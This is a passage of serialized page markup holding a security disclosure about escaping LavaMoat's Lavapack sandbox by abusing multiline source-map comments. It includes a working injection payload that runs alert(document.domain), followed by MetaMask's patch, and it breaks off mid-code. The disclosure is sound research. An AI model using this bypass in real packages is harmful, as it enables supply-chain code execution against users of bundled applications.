'",{"type":19,"tag":168,"props":45836,"children":45837},{"style":399},[45838],{"type":24,"value":6343},{"type":19,"tag":168,"props":45840,"children":45841},{"style":393},[45842],{"type":24,"value":45843}," src",{"type":19,"tag":168,"props":45845,"children":45846},{"style":399},[45847],{"type":24,"value":6343},{"type":19,"tag":168,"props":45849,"children":45850},{"style":181},[45851],{"type":24,"value":45852}," '",{"type":19,"tag":168,"props":45854,"children":45856},{"style":45855},"--shiki-default:#D7BA7D",[45857],{"type":24,"value":45858},"\\n",{"type":19,"tag":168,"props":45860,"children":45861},{"style":181},[45862],{"type":24,"value":45863},"})()'",{"type":19,"tag":168,"props":45865,"children":45866},{"style":212},[45867],{"type":24,"value":1249},{"type":19,"tag":168,"props":45869,"children":45870},{"class":170,"line":415},[45871,45875],{"type":19,"tag":168,"props":45872,"children":45873},{"style":419},[45874],{"type":24,"value":14438},{"type":19,"tag":168,"props":45876,"children":45877},{"style":212},[45878],{"type":24,"value":412},{"type":19,"tag":168,"props":45880,"children":45881},{"class":170,"line":450},[45882],{"type":19,"tag":168,"props":45883,"children":45884},{"style":212},[45885],{"type":24,"value":1326},{"type":19,"tag":168,"props":45887,"children":45888},{"class":170,"line":560},[45889,45894,45898,45903],{"type":19,"tag":168,"props":45890,"children":45891},{"style":419},[45892],{"type":24,"value":45893},"catch",{"type":19,"tag":168,"props":45895,"children":45896},{"style":212},[45897],{"type":24,"value":461},{"type":19,"tag":168,"props":45899,"children":45900},{"style":393},[45901],{"type":24,"value":45902},"err",{"type":19,"tag":168,"props":45904,"children":45905},{"style":212},[45906],{"type":24,"value":12250},{"type":19,"tag":168,"props":45908,"children":45909},{"class":170,"line":666},[45910,45914,45918,45922,45926,45931,45935,45940,45944],{"type":19,"tag":168,"props":45911,"children":45912},{"style":419},[45913],{"type":24,"value":9724},{"type":19,"tag":168,"props":45915,"children":45916},{"style":212},[45917],{"type":24,"value":461},{"type":19,"tag":168,"props":45919,"children":45920},{"style":393},[45921],{"type":24,"value":45902},{"type":19,"tag":168,"props":45923,"children":45924},{"style":399},[45925],{"type":24,"value":28894},{"type":19,"tag":168,"props":45927,"children":45928},{"style":181},[45929],{"type":24,"value":45930}," 'STOP'",{"type":19,"tag":168,"props":45932,"children":45933},{"style":212},[45934],{"type":24,"value":481},{"type":19,"tag":168,"props":45936,"children":45937},{"style":419},[45938],{"type":24,"value":45939},"return",{"type":19,"tag":168,"props":45941,"children":45942},{"style":382},[45943],{"type":24,"value":36813},{"type":19,"tag":168,"props":45945,"children":45946},{"style":212},[45947],{"type":24,"value":412},{"type":19,"tag":168,"props":45949,"children":45950},{"class":170,"line":694},[45951,45955,45959,45963,45967,45972,45976,45981,45986,45991,45995,45999,46004],{"type":19,"tag":168,"props":45952,"children":45953},{"style":419},[45954],{"type":24,"value":9724},{"type":19,"tag":168,"props":45956,"children":45957},{"style":212},[45958],{"type":24,"value":461},{"type":19,"tag":168,"props":45960,"children":45961},{"style":393},[45962],{"type":24,"value":45902},{"type":19,"tag":168,"props":45964,"children":45965},{"style":212},[45966],{"type":24,"value":948},{"type":19,"tag":168,"props":45968,"children":45969},{"style":393},[45970],{"type":24,"value":45971},"constructor",{"type":19,"tag":168,"props":45973,"children":45974},{"style":212},[45975],{"type":24,"value":948},{"type":19,"tag":168,"props":45977,"children":45978},{"style":393},[45979],{"type":24,"value":45980},"name",{"type":19,"tag":168,"props":45982,"children":45983},{"style":399},[45984],{"type":24,"value":45985}," !==",{"type":19,"tag":168,"props":45987,"children":45988},{"style":181},[45989],{"type":24,"value":45990}," 'SyntaxError'",{"type":19,"tag":168,"props":45992,"children":45993},{"style":212},[45994],{"type":24,"value":481},{"type":19,"tag":168,"props":45996,"children":45997},{"style":419},[45998],{"type":24,"value":45939},{"type":19,"tag":168,"props":46000,"children":46001},{"style":393},[46002],{"type":24,"value":46003}," err",{"type":19,"tag":168,"props":46005,"children":46006},{"style":212},[46007],{"type":24,"value":412},{"type":19,"tag":168,"props":46009,"children":46010},{"class":170,"line":707},[46011,46015,46020,46024,46028,46032,46036,46040,46045],{"type":19,"tag":168,"props":46012,"children":46013},{"style":419},[46014],{"type":24,"value":14438},{"type":19,"tag":168,"props":46016,"children":46017},{"style":175},[46018],{"type":24,"value":46019}," errorInfo",{"type":19,"tag":168,"props":46021,"children":46022},{"style":212},[46023],{"type":24,"value":500},{"type":19,"tag":168,"props":46025,"children":46026},{"style":393},[46027],{"type":24,"value":30142},{"type":19,"tag":168,"props":46029,"children":46030},{"style":212},[46031],{"type":24,"value":471},{"type":19,"tag":168,"props":46033,"children":46034},{"style":393},[46035],{"type":24,"value":45426},{"type":19,"tag":168,"props":46037,"children":46038},{"style":212},[46039],{"type":24,"value":471},{"type":19,"tag":168,"props":46041,"children":46042},{"style":393},[46043],{"type":24,"value":46044},"opts",{"type":19,"tag":168,"props":46046,"children":46047},{"style":212},[46048],{"type":24,"value":1249},{"type":19,"tag":168,"props":46050,"children":46051},{"class":170,"line":725},[46052],{"type":19,"tag":168,"props":46053,"children":46054},{"style":212},[46055],{"type":24,"value":1326},{"type":19,"tag":20,"props":46057,"children":46058},{},[46059,46061,46065,46067,46073,46075,46080],{"type":24,"value":46060},"Interestingly, it ",{"type":19,"tag":293,"props":46062,"children":46063},{},[46064],{"type":24,"value":1402},{"type":24,"value":46066}," possible to inject a ",{"type":19,"tag":27,"props":46068,"children":46070},{"className":46069},[],[46071],{"type":24,"value":46072},"}); (() => {",{"type":24,"value":46074}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":19,"tag":27,"props":46076,"children":46078},{"className":46077},[],[46079],{"type":24,"value":45596},{"type":24,"value":46081}," sandbox of Lavapack.",{"type":19,"tag":7050,"props":46083,"children":46085},{"id":46084},"sourcemap-the-syntax-killer",[46086],{"type":24,"value":46087},"SourceMap: The Syntax Killer",{"type":19,"tag":20,"props":46089,"children":46090},{},[46091,46093,46100],{"type":24,"value":46092},"Lavapack has a feature to extract source maps files from the code using ",{"type":19,"tag":269,"props":46094,"children":46097},{"href":46095,"rel":46096},"https://www.npmjs.com/package/convert-source-map",[273],[46098],{"type":24,"value":46099},"convert-source-map",{"type":24,"value":46101}," npm package:",{"type":19,"tag":158,"props":46103,"children":46105},{"className":28835,"code":46104,"language":28837,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n const converter = convertSourceMap.fromSource(sourceCode)\n // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n const maps = converter && converter.toObject()\n const code = convertSourceMap.removeComments(sourceCode)\n return { code, maps }\n}\n",[46106],{"type":19,"tag":27,"props":46107,"children":46108},{"__ignoreMap":7},[46109,46133,46175,46183,46224,46265,46293],{"type":19,"tag":168,"props":46110,"children":46111},{"class":170,"line":171},[46112,46116,46121,46125,46129],{"type":19,"tag":168,"props":46113,"children":46114},{"style":382},[46115],{"type":24,"value":28849},{"type":19,"tag":168,"props":46117,"children":46118},{"style":175},[46119],{"type":24,"value":46120}," extractSourceMaps",{"type":19,"tag":168,"props":46122,"children":46123},{"style":212},[46124],{"type":24,"value":500},{"type":19,"tag":168,"props":46126,"children":46127},{"style":393},[46128],{"type":24,"value":35489},{"type":19,"tag":168,"props":46130,"children":46131},{"style":212},[46132],{"type":24,"value":12250},{"type":19,"tag":168,"props":46134,"children":46135},{"class":170,"line":198},[46136,46140,46145,46149,46154,46158,46163,46167,46171],{"type":19,"tag":168,"props":46137,"children":46138},{"style":382},[46139],{"type":24,"value":33663},{"type":19,"tag":168,"props":46141,"children":46142},{"style":393},[46143],{"type":24,"value":46144}," converter",{"type":19,"tag":168,"props":46146,"children":46147},{"style":399},[46148],{"type":24,"value":402},{"type":19,"tag":168,"props":46150,"children":46151},{"style":393},[46152],{"type":24,"value":46153}," convertSourceMap",{"type":19,"tag":168,"props":46155,"children":46156},{"style":212},[46157],{"type":24,"value":948},{"type":19,"tag":168,"props":46159,"children":46160},{"style":175},[46161],{"type":24,"value":46162},"fromSource",{"type":19,"tag":168,"props":46164,"children":46165},{"style":212},[46166],{"type":24,"value":500},{"type":19,"tag":168,"props":46168,"children":46169},{"style":393},[46170],{"type":24,"value":35489},{"type":19,"tag":168,"props":46172,"children":46173},{"style":212},[46174],{"type":24,"value":557},{"type":19,"tag":168,"props":46176,"children":46177},{"class":170,"line":415},[46178],{"type":19,"tag":168,"props":46179,"children":46180},{"style":373},[46181],{"type":24,"value":46182}," // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":19,"tag":168,"props":46184,"children":46185},{"class":170,"line":450},[46186,46190,46195,46199,46203,46207,46211,46215,46220],{"type":19,"tag":168,"props":46187,"children":46188},{"style":382},[46189],{"type":24,"value":33663},{"type":19,"tag":168,"props":46191,"children":46192},{"style":393},[46193],{"type":24,"value":46194}," maps",{"type":19,"tag":168,"props":46196,"children":46197},{"style":399},[46198],{"type":24,"value":402},{"type":19,"tag":168,"props":46200,"children":46201},{"style":393},[46202],{"type":24,"value":46144},{"type":19,"tag":168,"props":46204,"children":46205},{"style":399},[46206],{"type":24,"value":11631},{"type":19,"tag":168,"props":46208,"children":46209},{"style":393},[46210],{"type":24,"value":46144},{"type":19,"tag":168,"props":46212,"children":46213},{"style":212},[46214],{"type":24,"value":948},{"type":19,"tag":168,"props":46216,"children":46217},{"style":175},[46218],{"type":24,"value":46219},"toObject",{"type":19,"tag":168,"props":46221,"children":46222},{"style":212},[46223],{"type":24,"value":5172},{"type":19,"tag":168,"props":46225,"children":46226},{"class":170,"line":560},[46227,46231,46236,46240,46244,46248,46253,46257,46261],{"type":19,"tag":168,"props":46228,"children":46229},{"style":382},[46230],{"type":24,"value":33663},{"type":19,"tag":168,"props":46232,"children":46233},{"style":393},[46234],{"type":24,"value":46235}," code",{"type":19,"tag":168,"props":46237,"children":46238},{"style":399},[46239],{"type":24,"value":402},{"type":19,"tag":168,"props":46241,"children":46242},{"style":393},[46243],{"type":24,"value":46153},{"type":19,"tag":168,"props":46245,"children":46246},{"style":212},[46247],{"type":24,"value":948},{"type":19,"tag":168,"props":46249,"children":46250},{"style":175},[46251],{"type":24,"value":46252},"removeComments",{"type":19,"tag":168,"props":46254,"children":46255},{"style":212},[46256],{"type":24,"value":500},{"type":19,"tag":168,"props":46258,"children":46259},{"style":393},[46260],{"type":24,"value":35489},{"type":19,"tag":168,"props":46262,"children":46263},{"style":212},[46264],{"type":24,"value":557},{"type":19,"tag":168,"props":46266,"children":46267},{"class":170,"line":666},[46268,46272,46276,46280,46284,46289],{"type":19,"tag":168,"props":46269,"children":46270},{"style":419},[46271],{"type":24,"value":36674},{"type":19,"tag":168,"props":46273,"children":46274},{"style":212},[46275],{"type":24,"value":7027},{"type":19,"tag":168,"props":46277,"children":46278},{"style":393},[46279],{"type":24,"value":27},{"type":19,"tag":168,"props":46281,"children":46282},{"style":212},[46283],{"type":24,"value":471},{"type":19,"tag":168,"props":46285,"children":46286},{"style":393},[46287],{"type":24,"value":46288},"maps",{"type":19,"tag":168,"props":46290,"children":46291},{"style":212},[46292],{"type":24,"value":7037},{"type":19,"tag":168,"props":46294,"children":46295},{"class":170,"line":694},[46296],{"type":19,"tag":168,"props":46297,"children":46298},{"style":212},[46299],{"type":24,"value":1326},{"type":19,"tag":20,"props":46301,"children":46302},{},[46303,46305,46310,46312,46317],{"type":24,"value":46304},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":19,"tag":27,"props":46306,"children":46308},{"className":46307},[],[46309],{"type":24,"value":45747},{"type":24,"value":46311}," stage. Reviewing the ",{"type":19,"tag":27,"props":46313,"children":46315},{"className":46314},[],[46316],{"type":24,"value":46099},{"type":24,"value":46318}," code, we can see exactly how this happens.",{"type":19,"tag":158,"props":46320,"children":46322},{"className":28835,"code":46321,"language":28837,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n get: function getCommentRegex () {\n // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n }\n});\n\nexports.removeComments = function (src) {\n return src.replace(exports.commentRegex, '');\n};\n",[46323],{"type":19,"tag":27,"props":46324,"children":46325},{"__ignoreMap":7},[46326,46365,46391,46399,46613,46620,46627,46634,46669,46719],{"type":19,"tag":168,"props":46327,"children":46328},{"class":170,"line":171},[46329,46334,46338,46343,46347,46351,46355,46360],{"type":19,"tag":168,"props":46330,"children":46331},{"style":393},[46332],{"type":24,"value":46333},"Object",{"type":19,"tag":168,"props":46335,"children":46336},{"style":212},[46337],{"type":24,"value":948},{"type":19,"tag":168,"props":46339,"children":46340},{"style":175},[46341],{"type":24,"value":46342},"defineProperty",{"type":19,"tag":168,"props":46344,"children":46345},{"style":212},[46346],{"type":24,"value":500},{"type":19,"tag":168,"props":46348,"children":46349},{"style":825},[46350],{"type":24,"value":35361},{"type":19,"tag":168,"props":46352,"children":46353},{"style":212},[46354],{"type":24,"value":471},{"type":19,"tag":168,"props":46356,"children":46357},{"style":181},[46358],{"type":24,"value":46359},"'commentRegex'",{"type":19,"tag":168,"props":46361,"children":46362},{"style":212},[46363],{"type":24,"value":46364},", {\n",{"type":19,"tag":168,"props":46366,"children":46367},{"class":170,"line":198},[46368,46373,46377,46381,46386],{"type":19,"tag":168,"props":46369,"children":46370},{"style":175},[46371],{"type":24,"value":46372}," get",{"type":19,"tag":168,"props":46374,"children":46375},{"style":393},[46376],{"type":24,"value":1922},{"type":19,"tag":168,"props":46378,"children":46379},{"style":382},[46380],{"type":24,"value":35689},{"type":19,"tag":168,"props":46382,"children":46383},{"style":175},[46384],{"type":24,"value":46385}," getCommentRegex",{"type":19,"tag":168,"props":46387,"children":46388},{"style":212},[46389],{"type":24,"value":46390}," () {\n",{"type":19,"tag":168,"props":46392,"children":46393},{"class":170,"line":415},[46394],{"type":19,"tag":168,"props":46395,"children":46396},{"style":373},[46397],{"type":24,"value":46398}," // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":19,"tag":168,"props":46400,"children":46401},{"class":170,"line":450},[46402,46406,46412,46417,46422,46427,46431,46436,46441,46446,46450,46454,46459,46464,46469,46474,46478,46482,46486,46491,46495,46500,46505,46510,46515,46519,46523,46527,46531,46535,46539,46543,46547,46552,46557,46561,46566,46571,46575,46579,46583,46587,46592,46596,46600,46604,46609],{"type":19,"tag":168,"props":46403,"children":46404},{"style":419},[46405],{"type":24,"value":14438},{"type":19,"tag":168,"props":46407,"children":46409},{"style":46408},"--shiki-default:#D16969",[46410],{"type":24,"value":46411}," /",{"type":19,"tag":168,"props":46413,"children":46414},{"style":175},[46415],{"type":24,"value":46416},"^",{"type":19,"tag":168,"props":46418,"children":46419},{"style":46408},[46420],{"type":24,"value":46421},"\\s",{"type":19,"tag":168,"props":46423,"children":46424},{"style":45855},[46425],{"type":24,"value":46426},"*?\\/",{"type":19,"tag":168,"props":46428,"children":46429},{"style":181},[46430],{"type":24,"value":1152},{"type":19,"tag":168,"props":46432,"children":46433},{"style":45855},[46434],{"type":24,"value":46435},"\\/\\*",{"type":19,"tag":168,"props":46437,"children":46438},{"style":181},[46439],{"type":24,"value":46440},"][",{"type":19,"tag":168,"props":46442,"children":46443},{"style":46408},[46444],{"type":24,"value":46445},"@#",{"type":19,"tag":168,"props":46447,"children":46448},{"style":181},[46449],{"type":24,"value":12858},{"type":19,"tag":168,"props":46451,"children":46452},{"style":46408},[46453],{"type":24,"value":46421},{"type":19,"tag":168,"props":46455,"children":46456},{"style":45855},[46457],{"type":24,"value":46458},"+?",{"type":19,"tag":168,"props":46460,"children":46461},{"style":46408},[46462],{"type":24,"value":46463},"sourceMappingURL=data:",{"type":19,"tag":168,"props":46465,"children":46466},{"style":181},[46467],{"type":24,"value":46468},"(((?:",{"type":19,"tag":168,"props":46470,"children":46471},{"style":46408},[46472],{"type":24,"value":46473},"application",{"type":19,"tag":168,"props":46475,"children":46476},{"style":175},[46477],{"type":24,"value":7859},{"type":19,"tag":168,"props":46479,"children":46480},{"style":46408},[46481],{"type":24,"value":24},{"type":19,"tag":168,"props":46483,"children":46484},{"style":181},[46485],{"type":24,"value":524},{"type":19,"tag":168,"props":46487,"children":46488},{"style":45855},[46489],{"type":24,"value":46490},"\\/",{"type":19,"tag":168,"props":46492,"children":46493},{"style":46408},[46494],{"type":24,"value":31471},{"type":19,"tag":168,"props":46496,"children":46497},{"style":181},[46498],{"type":24,"value":46499},")(?:",{"type":19,"tag":168,"props":46501,"children":46502},{"style":46408},[46503],{"type":24,"value":46504},";charset=",{"type":19,"tag":168,"props":46506,"children":46507},{"style":181},[46508],{"type":24,"value":46509},"([^",{"type":19,"tag":168,"props":46511,"children":46512},{"style":46408},[46513],{"type":24,"value":46514},";,",{"type":19,"tag":168,"props":46516,"children":46517},{"style":181},[46518],{"type":24,"value":12858},{"type":19,"tag":168,"props":46520,"children":46521},{"style":45855},[46522],{"type":24,"value":46458},{"type":19,"tag":168,"props":46524,"children":46525},{"style":181},[46526],{"type":24,"value":524},{"type":19,"tag":168,"props":46528,"children":46529},{"style":45855},[46530],{"type":24,"value":552},{"type":19,"tag":168,"props":46532,"children":46533},{"style":181},[46534],{"type":24,"value":524},{"type":19,"tag":168,"props":46536,"children":46537},{"style":45855},[46538],{"type":24,"value":552},{"type":19,"tag":168,"props":46540,"children":46541},{"style":181},[46542],{"type":24,"value":524},{"type":19,"tag":168,"props":46544,"children":46545},{"style":45855},[46546],{"type":24,"value":552},{"type":19,"tag":168,"props":46548,"children":46549},{"style":181},[46550],{"type":24,"value":46551},"(?:",{"type":19,"tag":168,"props":46553,"children":46554},{"style":46408},[46555],{"type":24,"value":46556},";",{"type":19,"tag":168,"props":46558,"children":46559},{"style":181},[46560],{"type":24,"value":500},{"type":19,"tag":168,"props":46562,"children":46563},{"style":46408},[46564],{"type":24,"value":46565},"base64",{"type":19,"tag":168,"props":46567,"children":46568},{"style":181},[46569],{"type":24,"value":46570},"))",{"type":19,"tag":168,"props":46572,"children":46573},{"style":45855},[46574],{"type":24,"value":552},{"type":19,"tag":168,"props":46576,"children":46577},{"style":46408},[46578],{"type":24,"value":1555},{"type":19,"tag":168,"props":46580,"children":46581},{"style":181},[46582],{"type":24,"value":500},{"type":19,"tag":168,"props":46584,"children":46585},{"style":46408},[46586],{"type":24,"value":948},{"type":19,"tag":168,"props":46588,"children":46589},{"style":45855},[46590],{"type":24,"value":46591},"*?",{"type":19,"tag":168,"props":46593,"children":46594},{"style":181},[46595],{"type":24,"value":524},{"type":19,"tag":168,"props":46597,"children":46598},{"style":175},[46599],{"type":24,"value":7731},{"type":19,"tag":168,"props":46601,"children":46602},{"style":46408},[46603],{"type":24,"value":2012},{"type":19,"tag":168,"props":46605,"children":46606},{"style":382},[46607],{"type":24,"value":46608},"mg",{"type":19,"tag":168,"props":46610,"children":46611},{"style":212},[46612],{"type":24,"value":412},{"type":19,"tag":168,"props":46614,"children":46615},{"class":170,"line":560},[46616],{"type":19,"tag":168,"props":46617,"children":46618},{"style":212},[46619],{"type":24,"value":3306},{"type":19,"tag":168,"props":46621,"children":46622},{"class":170,"line":666},[46623],{"type":19,"tag":168,"props":46624,"children":46625},{"style":212},[46626],{"type":24,"value":32812},{"type":19,"tag":168,"props":46628,"children":46629},{"class":170,"line":694},[46630],{"type":19,"tag":168,"props":46631,"children":46632},{"emptyLinePlaceholder":14},[46633],{"type":24,"value":1093},{"type":19,"tag":168,"props":46635,"children":46636},{"class":170,"line":707},[46637,46641,46645,46649,46653,46657,46661,46665],{"type":19,"tag":168,"props":46638,"children":46639},{"style":825},[46640],{"type":24,"value":35361},{"type":19,"tag":168,"props":46642,"children":46643},{"style":212},[46644],{"type":24,"value":948},{"type":19,"tag":168,"props":46646,"children":46647},{"style":175},[46648],{"type":24,"value":46252},{"type":19,"tag":168,"props":46650,"children":46651},{"style":399},[46652],{"type":24,"value":402},{"type":19,"tag":168,"props":46654,"children":46655},{"style":382},[46656],{"type":24,"value":35689},{"type":19,"tag":168,"props":46658,"children":46659},{"style":212},[46660],{"type":24,"value":461},{"type":19,"tag":168,"props":46662,"children":46663},{"style":393},[46664],{"type":24,"value":30142},{"type":19,"tag":168,"props":46666,"children":46667},{"style":212},[46668],{"type":24,"value":12250},{"type":19,"tag":168,"props":46670,"children":46671},{"class":170,"line":725},[46672,46676,46680,46684,46689,46693,46697,46701,46706,46710,46715],{"type":19,"tag":168,"props":46673,"children":46674},{"style":419},[46675],{"type":24,"value":36674},{"type":19,"tag":168,"props":46677,"children":46678},{"style":393},[46679],{"type":24,"value":45843},{"type":19,"tag":168,"props":46681,"children":46682},{"style":212},[46683],{"type":24,"value":948},{"type":19,"tag":168,"props":46685,"children":46686},{"style":175},[46687],{"type":24,"value":46688},"replace",{"type":19,"tag":168,"props":46690,"children":46691},{"style":212},[46692],{"type":24,"value":500},{"type":19,"tag":168,"props":46694,"children":46695},{"style":825},[46696],{"type":24,"value":35361},{"type":19,"tag":168,"props":46698,"children":46699},{"style":212},[46700],{"type":24,"value":948},{"type":19,"tag":168,"props":46702,"children":46703},{"style":393},[46704],{"type":24,"value":46705},"commentRegex",{"type":19,"tag":168,"props":46707,"children":46708},{"style":212},[46709],{"type":24,"value":471},{"type":19,"tag":168,"props":46711,"children":46712},{"style":181},[46713],{"type":24,"value":46714},"''",{"type":19,"tag":168,"props":46716,"children":46717},{"style":212},[46718],{"type":24,"value":1249},{"type":19,"tag":168,"props":46720,"children":46721},{"class":170,"line":746},[46722],{"type":19,"tag":168,"props":46723,"children":46724},{"style":212},[46725],{"type":24,"value":14026},{"type":19,"tag":20,"props":46727,"children":46728},{},[46729,46731,46737],{"type":24,"value":46730},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":19,"tag":27,"props":46732,"children":46734},{"className":46733},[],[46735],{"type":24,"value":46736},"/*",{"type":24,"value":46738},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":19,"tag":7050,"props":46740,"children":46742},{"id":46741},"the-bypass",[46743],{"type":24,"value":46744},"The Bypass",{"type":19,"tag":20,"props":46746,"children":46747},{},[46748,46750,46755,46757,46762],{"type":24,"value":46749},"By abusing the ",{"type":19,"tag":27,"props":46751,"children":46753},{"className":46752},[],[46754],{"type":24,"value":46252},{"type":24,"value":46756}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":19,"tag":27,"props":46758,"children":46760},{"className":46759},[],[46761],{"type":24,"value":45596},{"type":24,"value":46763}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":19,"tag":158,"props":46765,"children":46767},{"className":28835,"code":46766,"language":28837,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n package: \"xpl\",\n file: \"node_modules/xpl/index.js\",\n test: alert(document.domain),\n test1: () => { () => { () => { () => {\n\n/*\n*/\n",[46768],{"type":19,"tag":27,"props":46769,"children":46770},{"__ignoreMap":7},[46771,46779,46786,46794,46802,46810,46818,46826,46834,46841,46849],{"type":19,"tag":168,"props":46772,"children":46773},{"class":170,"line":171},[46774],{"type":19,"tag":168,"props":46775,"children":46776},{"style":373},[46777],{"type":24,"value":46778},"/*# sourceMappingURL=data:,{}\n",{"type":19,"tag":168,"props":46780,"children":46781},{"class":170,"line":198},[46782],{"type":19,"tag":168,"props":46783,"children":46784},{"emptyLinePlaceholder":14},[46785],{"type":24,"value":1093},{"type":19,"tag":168,"props":46787,"children":46788},{"class":170,"line":415},[46789],{"type":19,"tag":168,"props":46790,"children":46791},{"style":373},[46792],{"type":24,"value":46793},"}}}}\n",{"type":19,"tag":168,"props":46795,"children":46796},{"class":170,"line":450},[46797],{"type":19,"tag":168,"props":46798,"children":46799},{"style":373},[46800],{"type":24,"value":46801},"}, {\n",{"type":19,"tag":168,"props":46803,"children":46804},{"class":170,"line":560},[46805],{"type":19,"tag":168,"props":46806,"children":46807},{"style":373},[46808],{"type":24,"value":46809}," package: \"xpl\",\n",{"type":19,"tag":168,"props":46811,"children":46812},{"class":170,"line":666},[46813],{"type":19,"tag":168,"props":46814,"children":46815},{"style":373},[46816],{"type":24,"value":46817}," file: \"node_modules/xpl/index.js\",\n",{"type":19,"tag":168,"props":46819,"children":46820},{"class":170,"line":694},[46821],{"type":19,"tag":168,"props":46822,"children":46823},{"style":373},[46824],{"type":24,"value":46825}," test: alert(document.domain),\n",{"type":19,"tag":168,"props":46827,"children":46828},{"class":170,"line":707},[46829],{"type":19,"tag":168,"props":46830,"children":46831},{"style":373},[46832],{"type":24,"value":46833}," test1: () => { () => { () => { () => {\n",{"type":19,"tag":168,"props":46835,"children":46836},{"class":170,"line":725},[46837],{"type":19,"tag":168,"props":46838,"children":46839},{"emptyLinePlaceholder":14},[46840],{"type":24,"value":1093},{"type":19,"tag":168,"props":46842,"children":46843},{"class":170,"line":746},[46844],{"type":19,"tag":168,"props":46845,"children":46846},{"style":373},[46847],{"type":24,"value":46848},"/*\n",{"type":19,"tag":168,"props":46850,"children":46851},{"class":170,"line":755},[46852],{"type":19,"tag":168,"props":46853,"children":46854},{"style":373},[46855],{"type":24,"value":46856},"*/\n",{"type":19,"tag":20,"props":46858,"children":46859},{},[46860],{"type":24,"value":46861},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":19,"tag":7050,"props":46863,"children":46865},{"id":46864},"lavapack-patch",[46866],{"type":24,"value":46867},"Lavapack Patch",{"type":19,"tag":20,"props":46869,"children":46870},{},[46871,46873,46879],{"type":24,"value":46872},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":19,"tag":27,"props":46874,"children":46876},{"className":46875},[],[46877],{"type":24,"value":46878},"assertValidJS",{"type":24,"value":46880},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":19,"tag":20,"props":46882,"children":46883},{},[46884,46886,46893],{"type":24,"value":46885},"The patch was introduced in commit ",{"type":19,"tag":269,"props":46887,"children":46890},{"href":46888,"rel":46889},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[273],[46891],{"type":24,"value":46892},"9c38cd4",{"type":24,"value":948},{"type":19,"tag":158,"props":46895,"children":46897},{"className":37836,"code":46896,"language":37838,"meta":7,"style":7},"+ function assertValidJS(code) {\n+ try {\n+ new Function(code)\n+ } catch (err) {\n+ throw new Error(`Invalid JavaScript: ${err.message}`)\n+ }\n+ }\n\n+ // additional layer of syntax checking independent of browserify\n+ assertValidJS(sourceMeta.code) \n\n",[46898],{"type":19,"tag":27,"props":46899,"children":46900},{"__ignoreMap":7},[46901,46909,46917,46925,46933,46941,46949,46957,46964,46972],{"type":19,"tag":168,"props":46902,"children":46903},{"class":170,"line":171},[46904],{"type":19,"tag":168,"props":46905,"children":46906},{"style":192},[46907],{"type":24,"value":46908},"+ function assertValidJS(code) {\n",{"type":19,"tag":168,"props":46910,"children":46911},{"class":170,"line":198},[46912],{"type":19,"tag":168,"props":46913,"children":46914},{"style":192},[46915],{"type":24,"value":46916},"+ try {\n",{"type":19,"tag":168,"props":46918,"children":46919},{"class":170,"line":415},[46920],{"type":19,"tag":168,"props":46921,"children":46922},{"style":192},[46923],{"type":24,"value":46924},"+ new Function(code)\n",{"type":19,"tag":168,"props":46926,"children":46927},{"class":170,"line":450},[46928],{"type":19,"tag":168,"props":46929,"children":46930},{"style":192},[46931],{"type":24,"value":46932},"+ } catch (err) {\n",{"type":19,"tag":168,"props":46934,"children":46935},{"class":170,"line":560},[46936],{"type":19,"tag":168,"props":46937,"children":46938},{"style":192},[46939],{"type":24,"value":46940},"+ throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":19,"tag":168,"props":46942,"children":46943},{"class":170,"line":666},[46944],{"type":19,"tag":168,"props":46945,"children":46946},{"style":192},[46947],{"type":24,"value":46948},"+ }\n",{"type":19,"tag":168,"props":46950,"children":46951},{"class":170,"line":694},[46952],{"type":19,"tag":168,"props":46953,"children":46954},{"style":192},[46955],{"type":24,"value":46956},"+ }\n",{"type":19,"tag":168,"props":46958,"children":46959},{"class":170,"line":707},[46960],{"type":19,"tag":168,"props":46961,"children":46962},{"emptyLinePlaceholder":14},[46963],{"type":24,"value":1093},{"type":19,"tag":168,"props":46965,"children":46966},{"class":170,"line":725},[46967],{"type":19,"tag":168,"props":46968,"children":46969},{"style":192},[46970],{"type":24,"value":46971},"+ // additional layer of syntax checking independent of browserify\n",{"type":19,"tag":168,"props":46973,"children":46974},{"class":170,"line":746},[46975],{"type":19,"tag":168,"props":46976,"children":46977},{"style":192},[46978],{"type":24,"value":46979},"+ assertValidJS(sourceMeta.code)\n",{"type":19,"tag":36,"props":46981,"children":46983},{"id":46982},"hacking-js-realms",[46984],{"type":24,"value":46985},"Hacking JS Realms",{"type":19,"tag":20,"props":46987,"children":46988},{},[46989,46991,46996],{"type":24,"value":46990},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":19,"tag":27,"props":46992,"children":46994},{"className":46993},[],[46995],{"type":24,"value":34892},{"type":24,"value":46997}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":19,"tag":158,"props":46999,"children":47001},{"className":28835,"code":47000,"language":28837,"meta":7,"style":7},"const w = 